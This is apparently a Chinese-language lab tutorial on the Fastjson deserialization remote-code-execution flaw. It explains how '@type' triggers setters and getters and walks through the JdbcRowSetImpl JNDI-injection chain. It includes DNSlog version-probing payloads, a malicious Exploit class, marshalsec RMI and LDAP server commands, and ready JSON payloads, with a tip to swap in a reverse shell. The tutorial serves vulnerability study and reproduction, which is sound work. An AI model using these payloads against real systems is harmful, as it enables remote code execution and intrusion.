Fastjson 反序列化
Fastjson 组件是阿里巴巴开发的反序列化与序列化组件
Fastjson组件在反序列化不可信数据时会导致远程代码执行。究其原因:
- Fastjson 提供了反序列化功能,允许用户在输入 JSON 串时通过 “@type” 键对应的 value 指定任意反序列化类名
- Fastjson 自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的 setter 方法及部分 getter 方法。攻击者可以构造恶意请求,使目标应用的代码执行流程进入这部分特定 setter 或 getter 方法,若上述方法中有可被恶意利用的逻辑(也就是通常所指的 “Gadget” ),则会造成一些严重的安全问题。官方采用了黑名单方式对反序列化类名校验,但随着时间的推移及自动化漏洞挖掘能力的提升。新 Gadget 会不断涌现,黑名单这种治标不治本的方式只会导致不断被绕过,从而对使用该组件的用户带来不断升级版本的困扰
Fastjson 组件使用案例
环境搭建
测试均是基于 1.2.23 版本的 fastjson jar 包,靶机搭建需要存在漏洞的 jar 包,但是在 github 上通常会下架存在漏洞的 jar 包,可以从 maven仓库 中找到所有版本 jar 包,方便漏洞复现
新建 maven 项目,在 pom.xml 中添加以下代码
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
</dependencies>
点击右上角按钮
案例一:
标准 POJO 类定义如下,有 userName 和 age 两个属性,并执行
POJO 是 Plain OrdinaryJava Object 的缩写,但是它通指没有使用 Entity Beans 的普通 java 对象,可以把 POJO 作为支持业务逻辑的协助类
import com.alibaba.fastjson.JSON;
public class User {
private int age;
private String userName;
public User() {
System.out.println("User construct");
}
public String getUserName() {
System.out.println("getUserName");
return userName;
}
public void setUserName(String userName) {
System.out.println("setUserName:" + userName);
this.userName = userName;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge:" + age);
this.age = age;
}
public static void main(String[] args) {
String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
String jsonstr2 = "{\"@type\":\"User\",\"age\":24,\"userName\":\"李四\"}";
try {
JSON.parse(jsonstr);
System.out.println("=======================");
JSON.parse(jsonstr2);
System.out.println("=======================");
JSON.parseObject(jsonstr);
System.out.println("=======================");
JSON.parseObject(jsonstr2);
System.out.println("=======================");
JSON.parseObject(jsonstr, User.class);
System.out.println("=======================");
}catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
输出结果
输出结果说明 fastjson 在反序列化时
- 使用 parse 方法没有指定类的话不会触发任何方法,如果使用 @type 指定任意反序列化类名则可以触发构造方法和 set 方法
- 使用 parseObject 方法没有指定类的话不会触发任何方法,如果使用 @type 指定任意反序列化类名则可以触发构造方法和 get/set 方法
- 满足条件的 setter
- 函数名长度大于 4 且以 set 开头
- 非静态函数
- 返回类型为 void 或当前类
- 参数个数为 1 个
- 满足条件的 getter
- 函数名长度大于等于 4
- 非静态方法
- 以 get 开头且第四个字母为大写
- 无参数
- 返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLon
案例二:
public class User {
public int age;
public String userName;
public User() {
System.out.println("User construct");
}
}
执行反序列化
String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
User user = JSON.parseObject(jsonstr, User.class);
System.out.println("age:" + user.age);
System.out.println("userName:" + user.userName);
}catch (Exception e) {
System.out.println(e.getMessage());
}
输出结果
对于没有 setter 的可见 public Filed,fastjson 会正确赋值
案例三:
将 Field userName 改为私有,不提供 setter
public class User {
public int age;
private String userName;
public User() {
System.out.println("User construct");
}
public String getUserName() {
return userName;
}
}
执行反序列化
String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
User user = JSON.parseObject(jsonstr, User.class);
System.out.println("age:" + user.age);
System.out.println("userName:" + user.getUserName());
}catch (Exception e) {
System.out.println(e.getMessage());
}
以上说明对于不可见 Field 且未提供 setter 方法,fastjson 默认不会赋值
将反序列化代码修改为如下:
String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
User user = JSON.parseObject(jsonstr, User.class, Feature.SupportNonPublicField);
System.out.println("age:" + user.age);
System.out.println("userName:" + user.getUserName());
}catch (Exception e) {
System.out.println(e.getMessage());
}
对于未提供 setter 的私有 Field,fastjson 在反序列化时需要显式提供参数 Feature.SupportNonPublicField 才会正确赋值
案例四
反序列化解析的多种方式
先构建需要序列化的User类:User.java
package com.fastjson;
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
再使用fastjson组件
package com.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Main {
public static void main(String[] args) {
User user1 = new User();
user1.setName("lala");
user1.setAge(11);
String serializedStr = JSON.toJSONString(user1);
System.out.println("serializedStr="+serializedStr);
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
System.out.println("parse反序列化:"+obj1);
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
System.out.println("parseObject反序列化:"+obj2);
Object obj3 = JSON.parseObject(serializedStr,User.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);
}
}
以上使用了三种形式反序列化 结果如下:
serializedStr={"age":11,"name":"lala"}
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"lala","age":11}
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}
parseObject反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@3d71d552
parseObject({…})其实就是parse({…})的一个封装,对于parse的结果进行一次结果判定然后转化为JSONOBject类型。
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
而 parseObject({},class) 好像会调用 class 加载器进行类型转化,但这个细节不是关键,就不研究了
那么三种反序列化方式除了返回结果之外,还有啥区别?
在执行过程调用函数上有不同。
package com.fastjson;
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class FastJsonTest {
public String name;
public String age;
public FastJsonTest() throws IOException {
}
public void setName(String test) {
System.out.println("name setter called");
this.name = test;
}
public String getName() {
System.out.println("name getter called");
return this.name;
}
public String getAge(){
System.out.println("age getter called");
return this.age;
}
public static void main(String[] args) {
Object obj = JSON.parse("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
System.out.println(obj);
Object obj2 = JSON.parseObject("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
System.out.println(obj2);
Object obj3 = JSON.parseObject("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}",FastJsonTest.class);
System.out.println(obj3);
}
}
结果如下:
name setter called
com.fastjson.FastJsonTest@5a2e4553
name setter called
age getter called
name getter called
{"name":"thisisname","age":"thisisage"}
name setter called
com.fastjson.FastJsonTest@e2144e4
结论:
- parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
- parseObject("") 会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)
- parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
特定的setter和getter的调用都是在解析过程中的调用。(具体是哪些setter和getter会被调用,我们将在之后讲到)
之所以parseObject("")有区别就是因为parseObject("")比起其他方式多了一步toJSON操作,在这一步中会对所有getter进行调用。
漏洞原理
fastjson 支持使用 @type 指定反序列化的目标类,并且会自动调用类中属性的特定的 set,get 方法
package com.fastjson;
import java.util.Properties;
public class Person {
public String name;
private String full_name;
private int age;
private Boolean sex;
private Properties prop;
public Person(){
System.out.println("Person构造函数");
}
public void setAge(int age){
System.out.println("setAge()");
this.age = age;
}
public Boolean getSex(){
System.out.println("getSex()");
return this.sex;
}
public Properties getProp(){
System.out.println("getProp()");
return this.prop;
}
public String toString() {
String s = "[Person Object] name=" + this.name + " full_name=" + this.full_name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
}
@type 反序列化实验
import com.alibaba.fastjson.JSON;
public class type {
public static void main(String[] args) {
String eneity3 = "{\"@type\":\"com.fastjson.Person\", \"name\":\"lala\", \"full_name\":\"lalalolo\", \"age\": 13, \"prop\": {\"123\":123}, \"sex\": 1}";
Object obj = JSON.parseObject(eneity3, com.fastjson.Person.class);
System.out.println(obj);
}
}
结果如下
public name 反序列化成功
private full_name 反序列化失败
private age setAge 函数被调用
private sex getsex 函数没有被调用
private prop getprop 函数被成功调用
可以得知:
- public 修饰符的属性会进行反序列化赋值,private 修饰符的属性不会直接进行反序列化赋值,而是会调用 setxxx ( xxx 为属性名)的函数进行赋值
- getxxx (xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用
Jndi注入利用JdbcRowSetImpl链
原理
反序列化 Gadget 主流都是使用 JNDI,现阶段都是在利用根据 JNDI 特征自动化挖掘 Gadget。JNDI 采取什么样的方式注入以及能否注入成功和 JDK 的版本有关,因为 JDK 为了阻止反序列化攻击也实施了相应的缓解措施
简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用 JNDI 来定位数据库服务或一个远程 Java 对象。JNDI 底层支持 RMI 远程对象,RMI 注册的服务可以通过 JNDI 接口来访问和调用
JNDI支持多种命名和目录提供程序(Naming and Directory Providers), RMI 注册表服务提供程序(RMI Registry Service Provider)允许通过 JNDI 应用接口对 RMI 中注册的远程对象进行访问操作。将 RMI 服务绑定到 JNDI 的一个好处是更加透明、统一和松散耦合,RMI 客户端直接通过 URL 来定位一个远程对象,而且该 RMI 服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起
在 JNDI 服务中,RMI 服务端除了直接绑定远程对象之外,还可以通过 References 类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了 Reference 之后,服务端会先通过 Referenceable.getReference() 获取绑定对象的引用,并且在目录中保存。当客户端在 lookup() 查找这个远程对象时,客户端会获取相应的 object factory,最终通过 factory 类将 reference 转换为具体的对象实例
fastjson<1.2.24 JdbcRowSetImpl链
以 com.sun.rowset.JdbcRowSetImpl 为例说明。根据 FastJson 反序列化漏洞原理,FastJson 将 JSON 字符串反序列化到指定的 Java 类时,会调用目标类的 getter、setter 等方法。JdbcRowSetImpl 类的 setAutoCommit() 会调用 connect() 函数,connect() 函数如下:
private Connection connect() throws SQLException {
if(this.conn != null) {
return this.conn;
} else if(this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
}
}
connect() 会调用 InitialContext.lookup(dataSourceName),这里的参数 dataSourceName 是在 setter 方法 setDataSourceName(String name) 中设置的。所以在 FastJson 反序列化漏洞过程中,我们可以控制 dataSourceName 的值,也就是说满足了 JNDI 注入利用的条件
JNDI注入利用流程如下:
图源:华电许少
1、目标代码中调用了 InitialContext.lookup(URI),且 URI 为用户可控;
2、攻击者控制 URI 参数为恶意的 RMI 服务地址,如:rmi://hacker_rmi_server//name;
3、攻击者 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定某个精心构造的 Factory 类;
4、目标在进行 lookup() 操作时,会动态加载并实例化 Factory 类,接着调用 factory.getObjectInstance() 获取外部远程对象实例;
5、攻击者可以在 Factory 类文件的构造方法、静态代码块、getObjectInstance() 方法等处写入恶意代码,达到 RCE 的效果;
在这里,攻击目标扮演的相当于是 JNDI 客户端的角色,攻击者通过搭建一个恶意的 RMI 服务端来实施攻击
可使用 https://github.com/mbechler/marshalsec 快速开启 RMI/LDAP 服务
复现
先来简单梳理步骤,之后按步进行
1.探测,使用 dnslog 测试漏洞存在以及测试外连
2.编译恶意类,修改 Exploit 并编译成 class 文件,上传至 vps
3.在 vps 上准备 LDAP/RMI 服务和 Web 服务并开启 nc 监听
4.向目标机器发送 payload,接受反弹 shell
-
用来探测目标版本,才能更好确定使用的 payload。还可以用来区分 fastjson 和 Jackjson fastjson 探测版本,还可以用错误格式的json发过去。如果对方异常未处理可报出详细版本 原理重点关注 MiscCodec 处理时会去 nwe URL,然后通过后面的map#put触发计算key的hash。学习urldns链容易理解 fastjson >1.2.43 {"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
fastjson >1.2.48 {"@type":"java.net.InetAddress","val":"dnslog"}
fastjson >1.2.68 {"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
-
编译恶意类 public class Exploit {
static {
System.err.println("Pwned");
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
在进入 cmd 文件所在目录,使用 javac 命令 javac .\Exploit.java
得到 Exploit.class,部署在 HTTP 服务上,确保通过 http://ip:port/Exploit.class 可访问下载即可 可以使用 python 部署 HTTP 服务 python3 -m http.server 80 或者 python -m SimpleHTTPServer 80
因为本身 fastjson 其实就是 jndi 注入,所有有两种恶意类部署方法:RMI 和 LDAP -
RMI 方式利用 JDK 6u132, JDK 7u122, JDK 8u113 之前可用 攻击者通过 RMI 服务返回一个 JNDI Naming Reference,受害者解码 Reference 时会去我们指定的 Codebase 远程地址加载 Factory 类,但是原理上并非使用 RMI Class Loading 机制的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制,相对来说更加通用 但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true 启动 RMI 服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 9999
没有提示即为启动成功 执行反序列化,这里直接用演示代码包含 payload import com.alibaba.fastjson.JSON;
class demo1{
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exploit\",\"autoCommit\":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
执行成功弹出计算器,执行失败的话首先看看 jdk 版本 -
LDAP 方式利用 JDK 11.0.1、8u191、7u201、6u211 之前可用 除了 RMI 服务之外,JNDI 还可以对接 LDAP 服务,LDAP 也能返回 JNDI Reference 对象,利用过程与上面 RMI Reference 基本一致,只是 lookup() 中的 URL 为一个 LDAP 地址:ldap://xxx/xxx,由攻击者控制的 LDAP 服务端返回一个恶意的 JNDI Reference 对象。并且 LDAP 服务的 Reference 远程加载 Factory 类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的限制,所以适用范围更广 不过在2018年10月,Java 最终也修复了这个利用点,对 LDAP Reference 远程工厂类的加载增加了限制,在 Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为 false 继续使用之前的 Exploit.class 文件,然后使用 marshalsec 启动 LDAP 服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/
演示代码也只需要需要 rmi 为 ldap 即可,运行代码执行命令弹出计算器
TIPS
-
上边演示代码中只是弹出计算器,在执行命令处可以替换为反弹 shell -
当 javac 版本和目标服务器差太多,会报一个下面那样的错误,所以需要使用 1.8 的 javac 来编译 Exploit.java Caused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0
当运行 LDAP 的服务器java版本过高,会无法运行 LDAP 服务,虽然显示正在 Listening,但是 Fastjson 的 JNDI 会报错,显示无法获取到资源,所以要使用 java 1.8(openjdk 8)来运行 LDAP 服务 -
在上述代码中 payload 直接在写在了文件中,在正常渗透测试过程中一般以以下情况出现 POST /note/submit
param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit","autoCommit":true}}}
调试
在看完原理之后感觉还是有点懵,这部分将使用调试的方法探究漏洞原理,代码就是复现部分使用的,在 parseObject 处下断点
payload:
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exploit\",\"autoCommit\":true}
根据原理 FastJson 将 JSON 字符串反序列化到指定的 Java 类时,会调用目标类的 getter、setter 等方法。JdbcRowSetImpl 类的 setAutoCommit() 会调用 connect() 函数
-
首先对输入的字符串进行解析 之后进入 scanSymbol 函数遍历字符串扫描特殊标志 @type 扫到之后添加 -
之后对字符串进行反序列化 决定这个 set/get 函数是否将被调用的代码最终在com.alibaba.fastjson.util.JavaBeanInfo#build 函数处 在进入build函数后会遍历一遍传入 class 的所有方法,去寻找满足 set 开头的特定类型方法;再遍历一遍所有方法去寻找 get 开头的特定类型的方法 也就是在这里对反序列化的 set get 方法名提出了要求 由此可确认
- 被屏蔽的type可以指定反序列化成服务器上的任意类
- 然后服务端会解析这个类,提取出这个类中符合要求的setter方法与getter方法(如setxxx)
- 如果传入json字符串的键值中存在这个值(如xxx),就会去调用执行对应的setter、getter方法(即setxxx方法、getxxx方法)
调试的人很麻 -
进去跟进setAutoCommit方法,由于this.conn = null 进入到 this.connect() 方法中 public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
跟进connect方法,其中直接获取了dataSourceName 中RMI地址,并调用lookup 发起请求,由于RMI服务器上已经注册好了恶意类,最终导致命令执行
高级利用-推荐阅读
Fastjson姿势技巧
https://github.com/safe6Sec/Fastjson
fastjson检测
https://www.bilibili.com/video/BV1i3411y7e6
https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/
参考文章
https://www.freebuf.com/vuls/228099.html
https://xz.aliyun.com/t/7027
|